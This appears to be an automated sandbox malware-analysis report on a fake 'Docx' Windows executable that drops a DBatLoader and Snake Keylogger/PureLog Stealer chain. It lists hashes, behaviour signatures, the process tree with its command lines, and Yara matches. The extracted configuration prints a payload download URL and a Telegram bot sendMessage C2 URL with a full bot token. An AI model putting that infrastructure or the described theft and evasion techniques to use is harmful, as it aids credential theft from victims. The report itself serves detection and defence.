Edit tour

Windows Analysis Report
D.G Governor Istek,Docx.exe

Overview

General Information

Sample name:	D.G Governor Istek,Docx.exe
Analysis ID:	1577649
MD5:	7d212d2dab091bec36a906828d270c65
SHA1:	4d251936d754c47ee58e3913a99e2659e731ac98
SHA256:	4390ad0a5bd9184058cc6e2fbe64f896f71b0f0e95c27d8769837c6f979b11db
Tags:	exeuser-Racco42
Infos:

Detection

DBatLoader, PureLog Stealer, Snake Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected DBatLoader

Yara detected PureLog Stealer

Yara detected Snake Keylogger

Yara detected Telegram RAT

.NET source code contains method to dynamically call methods (often used by packers)

AI detected suspicious sample

Allocates many large memory junks

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Drops PE files with a suspicious file extension

Sample is not signed and drops a device driver

Sample uses process hollowing technique

Sigma detected: DLL Search Order Hijackig Via Additional Space in Path

Sigma detected: Execution from Suspicious Folder

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: New RUN Key Pointing to Suspicious Folder

Sigma detected: Parent in Public Folder Suspicious Process

Sigma detected: Suspicious Program Location with Network Connections

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Writes to foreign memory regions

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a connection to the internet is available

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query locales information (e.g. system language)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Execution of Suspicious File Type Extension

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

D.G Governor Istek,Docx.exe (PID: 1560 cmdline: "C:\Users\user\Desktop\D.G Governor Istek,Docx.exe" MD5: 7D212D2DAB091BEC36A906828D270C65)

cmd.exe (PID: 2140 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

xzeheenC.pif (PID: 6656 cmdline: C:\Users\Public\Libraries\xzeheenC.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)

Cneehezx.PIF (PID: 3128 cmdline: "C:\Users\Public\Libraries\Cneehezx.PIF" MD5: 7D212D2DAB091BEC36A906828D270C65)

cmd.exe (PID: 6672 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 344 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

xzeheenC.pif (PID: 432 cmdline: C:\Users\Public\Libraries\xzeheenC.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)

Cneehezx.PIF (PID: 5720 cmdline: "C:\Users\Public\Libraries\Cneehezx.PIF" MD5: 7D212D2DAB091BEC36A906828D270C65)

cmd.exe (PID: 6536 cmdline: C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

xzeheenC.pif (PID: 2140 cmdline: C:\Users\Public\Libraries\xzeheenC.pif MD5: 22331ABCC9472CC9DC6F37FAF333AA2C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DBatLoader	This Delphi loader misuses Cloud storage services, such as Google Drive to download the Delphi stager component. The Delphi stager has the actual payload embedded as a resource and starts it.	No Attribution	https://blog.vincss.net/2020/09/re016-malware-analysis-modiloader-eng.html https://blog.vincss.net/re016-malware-analysis-modiloader/ https://gi7w0rm.medium.com/uncovering-ddgroup-a-long-time-threat-actor-d3b3020625a4 https://isc.sans.edu/diary/Malspam+pushes+ModiLoader+DBatLoader+infection+for+Remcos+RAT/29896 https://kienmanowar.wordpress.com/2024/04/09/quicknote-phishing-email-distributes-warzone-rat-via-dbatloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.dbatloader

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: DBatLoader

{"Download Url": ["https://bitbucket.org/ntim1478/gpmaw/downloads/202_Cneehezxuzj"]}

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendMessage"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.3435180894.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000004.00000002.3467561668.000000001CE1B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000002.3467561668.000000001CE1B000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x6a2ab:$a1: get_encryptedPassword 0x6a27f:$a2: get_encryptedUsername 0x6a343:$a3: get_timePasswordChanged 0x6a25b:$a4: get_passwordField 0x6a2c1:$a5: set_encryptedPassword 0x6a08e:$a7: get_logins 0x667cc:$a10: KeyLoggerEventArgs 0x6679b:$a11: KeyLoggerEventArgsEventHandler 0x6a162:$a13: _encryptedPassword
00000004.00000002.3468357631.000000001D423000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000009.00000002.3474258234.0000000035551000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000009.00000002.3474258234.0000000035551000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2de8d:$a1: get_encryptedPassword 0x661a5:$a1: get_encryptedPassword 0x2de61:$a2: get_encryptedUsername 0x66179:$a2: get_encryptedUsername 0x2df25:$a3: get_timePasswordChanged 0x6623d:$a3: get_timePasswordChanged 0x2de3d:$a4: get_passwordField 0x66155:$a4: get_passwordField 0x2dea3:$a5: set_encryptedPassword 0x661bb:$a5: set_encryptedPassword 0x2dc70:$a7: get_logins 0x65f88:$a7: get_logins 0x2a3ae:$a10: KeyLoggerEventArgs 0x626c6:$a10: KeyLoggerEventArgs 0x2a37d:$a11: KeyLoggerEventArgsEventHandler 0x62695:$a11: KeyLoggerEventArgsEventHandler 0x2dd44:$a13: _encryptedPassword 0x6605c:$a13: _encryptedPassword
00000004.00000002.3468357631.000000001D393000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000009.00000002.3474966321.0000000036AA0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000009.00000002.3474966321.0000000036AA0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000009.00000002.3474966321.0000000036AA0000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword
00000009.00000002.3474966321.0000000036AA0000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x28101:$s2: SetHook 0x2813a:$s3: CallNextHook 0x280c9:$s4: _hook
00000004.00000003.2246468592.000000001B22B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000003.2246468592.000000001B22B000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x289cd:$a1: get_encryptedPassword 0x289a1:$a2: get_encryptedUsername 0x28a65:$a3: get_timePasswordChanged 0x2897d:$a4: get_passwordField 0x289e3:$a5: set_encryptedPassword 0x287b0:$a7: get_logins 0x24eee:$a10: KeyLoggerEventArgs 0x24ebd:$a11: KeyLoggerEventArgsEventHandler 0x28884:$a13: _encryptedPassword
00000009.00000002.3471014628.000000003428B000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000009.00000002.3471014628.000000003428B000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x6a2ab:$a1: get_encryptedPassword 0x6a27f:$a2: get_encryptedUsername 0x6a343:$a3: get_timePasswordChanged 0x6a25b:$a4: get_passwordField 0x6a2c1:$a5: set_encryptedPassword 0x6a08e:$a7: get_logins 0x667cc:$a10: KeyLoggerEventArgs 0x6679b:$a11: KeyLoggerEventArgsEventHandler 0x6a162:$a13: _encryptedPassword
0000000D.00000003.2424661790.000000002ED4E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000D.00000003.2424661790.000000002ED4E000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x29395:$a1: get_encryptedPassword 0x29369:$a2: get_encryptedUsername 0x2942d:$a3: get_timePasswordChanged 0x29345:$a4: get_passwordField 0x293ab:$a5: set_encryptedPassword 0x29178:$a7: get_logins 0x258b6:$a10: KeyLoggerEventArgs 0x25885:$a11: KeyLoggerEventArgsEventHandler 0x2924c:$a13: _encryptedPassword
00000009.00000002.3435325759.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000D.00000002.3468608975.0000000030E4B000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.3468357631.000000001D42D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.3468182063.000000001D270000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000004.00000002.3468182063.000000001D270000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000002.3468182063.000000001D270000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword
00000004.00000002.3468182063.000000001D270000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x28101:$s2: SetHook 0x2813a:$s3: CallNextHook 0x280c9:$s4: _hook
0000000D.00000001.2421840333.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000009.00000001.2342337171.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000004.00000002.3468357631.000000001D547000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000D.00000002.3472612070.00000000330F0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0000000D.00000002.3472612070.00000000330F0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000D.00000002.3472612070.00000000330F0000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
0000000D.00000002.3472612070.00000000330F0000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
00000004.00000001.2234117095.0000000000400000.00000040.00000001.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.3468357631.000000001D2F1000.00000004.00000800.00020000.00000000.sdmp	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x8f46:$x1: $%SMTPDV$ 0x5fe98:$x1: $%SMTPDV$ 0x7870:$x2: $#TheHashHere%& 0x2b338:$x2: $#TheHashHere%& 0x8ee6:$x3: %FTPDV$ 0x7852:$x4: $%TelegramDv$ 0x2b310:$x4: $%TelegramDv$ 0x5feb8:$x4: $%TelegramDv$ 0x8f0e:$m2: Clipboard Logs ID 0x913a:$m2: Screenshot Logs ID 0x9254:$m2: keystroke Logs ID 0x9452:$m3: SnakePW 0x60680:$m3: SnakePW 0x60dc8:$m3: SnakePW 0x6119e:$m3: SnakePW 0x72dd6:$m3: SnakePW 0x9110:$m4: \SnakeKeylogger\
00000009.00000002.3475804863.00000000370D0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000009.00000002.3475804863.00000000370D0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000009.00000002.3475804863.00000000370D0000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x28a15:$a1: get_encryptedPassword 0x289e9:$a2: get_encryptedUsername 0x28aad:$a3: get_timePasswordChanged 0x289c5:$a4: get_passwordField 0x28a2b:$a5: set_encryptedPassword 0x287f8:$a7: get_logins 0x24f36:$a10: KeyLoggerEventArgs 0x24f05:$a11: KeyLoggerEventArgsEventHandler 0x288cc:$a13: _encryptedPassword
00000009.00000002.3475804863.00000000370D0000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x2725d:$s1: UnHook 0x271f9:$s2: SetHook 0x27232:$s3: CallNextHook 0x271c1:$s4: _hook
00000004.00000002.3468357631.000000001D56A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.2280883342.000000007FC80000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000000.00000002.2245824423.0000000002366000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000009.00000002.3471546461.0000000034797000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000D.00000002.3468608975.0000000030FC5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.3468357631.000000001D37F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000D.00000002.3435459349.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1e4b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x1300:$s3: 83 EC 38 53 B0 99 88 44 24 2B 88 44 24 2F B0 72 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x2018a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1fdd0:$s5: delete[] 0x1f288:$s6: constructor or from DllMain.
0000000D.00000002.3468608975.0000000030E57000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0000000D.00000002.3468359572.0000000030CA0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0000000D.00000002.3468359572.0000000030CA0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000D.00000002.3468359572.0000000030CA0000.00000004.08000000.00040000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2991d:$a1: get_encryptedPassword 0x298f1:$a2: get_encryptedUsername 0x299b5:$a3: get_timePasswordChanged 0x298cd:$a4: get_passwordField 0x29933:$a5: set_encryptedPassword 0x29700:$a7: get_logins 0x25e3e:$a10: KeyLoggerEventArgs 0x25e0d:$a11: KeyLoggerEventArgsEventHandler 0x297d4:$a13: _encryptedPassword
0000000D.00000002.3468359572.0000000030CA0000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x28165:$s1: UnHook 0x28101:$s2: SetHook 0x2813a:$s3: CallNextHook 0x280c9:$s4: _hook
0000000D.00000002.3471453220.0000000031D71000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000D.00000002.3471453220.0000000031D71000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2de8d:$a1: get_encryptedPassword 0x661a5:$a1: get_encryptedPassword 0x2de61:$a2: get_encryptedUsername 0x66179:$a2: get_encryptedUsername 0x2df25:$a3: get_timePasswordChanged 0x6623d:$a3: get_timePasswordChanged 0x2de3d:$a4: get_passwordField 0x66155:$a4: get_passwordField 0x2dea3:$a5: set_encryptedPassword 0x661bb:$a5: set_encryptedPassword 0x2dc70:$a7: get_logins 0x65f88:$a7: get_logins 0x2a3ae:$a10: KeyLoggerEventArgs 0x626c6:$a10: KeyLoggerEventArgs 0x2a37d:$a11: KeyLoggerEventArgsEventHandler 0x62695:$a11: KeyLoggerEventArgsEventHandler 0x2dd44:$a13: _encryptedPassword 0x6605c:$a13: _encryptedPassword
00000004.00000002.3471183670.000000001E2F1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000004.00000002.3471183670.000000001E2F1000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x2de8d:$a1: get_encryptedPassword 0x661a5:$a1: get_encryptedPassword 0x2de61:$a2: get_encryptedUsername 0x66179:$a2: get_encryptedUsername 0x2df25:$a3: get_timePasswordChanged 0x6623d:$a3: get_timePasswordChanged 0x2de3d:$a4: get_passwordField 0x66155:$a4: get_passwordField 0x2dea3:$a5: set_encryptedPassword 0x661bb:$a5: set_encryptedPassword 0x2dc70:$a7: get_logins 0x65f88:$a7: get_logins 0x2a3ae:$a10: KeyLoggerEventArgs 0x626c6:$a10: KeyLoggerEventArgs 0x2a37d:$a11: KeyLoggerEventArgsEventHandler 0x62695:$a11: KeyLoggerEventArgsEventHandler 0x2dd44:$a13: _encryptedPassword 0x6605c:$a13: _encryptedPassword
00000009.00000003.2351649309.0000000032623000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000009.00000003.2351649309.0000000032623000.00000004.00000020.00020000.00000000.sdmp	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x24b05:$a1: get_encryptedPassword 0x24ad9:$a2: get_encryptedUsername 0x24b9d:$a3: get_timePasswordChanged 0x24ab5:$a4: get_passwordField 0x24b1b:$a5: set_encryptedPassword 0x248e8:$a7: get_logins 0x21026:$a10: KeyLoggerEventArgs 0x20ff5:$a11: KeyLoggerEventArgsEventHandler 0x249bc:$a13: _encryptedPassword
0000000D.00000002.3468608975.0000000030F7F000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000003.2157901937.000000007FBB0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_DBatLoader	Yara detected DBatLoader	Joe Security
00000009.00000002.3471546461.000000003475D000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000004.00000002.3472140687.000000001F670000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000004.00000002.3472140687.000000001F670000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
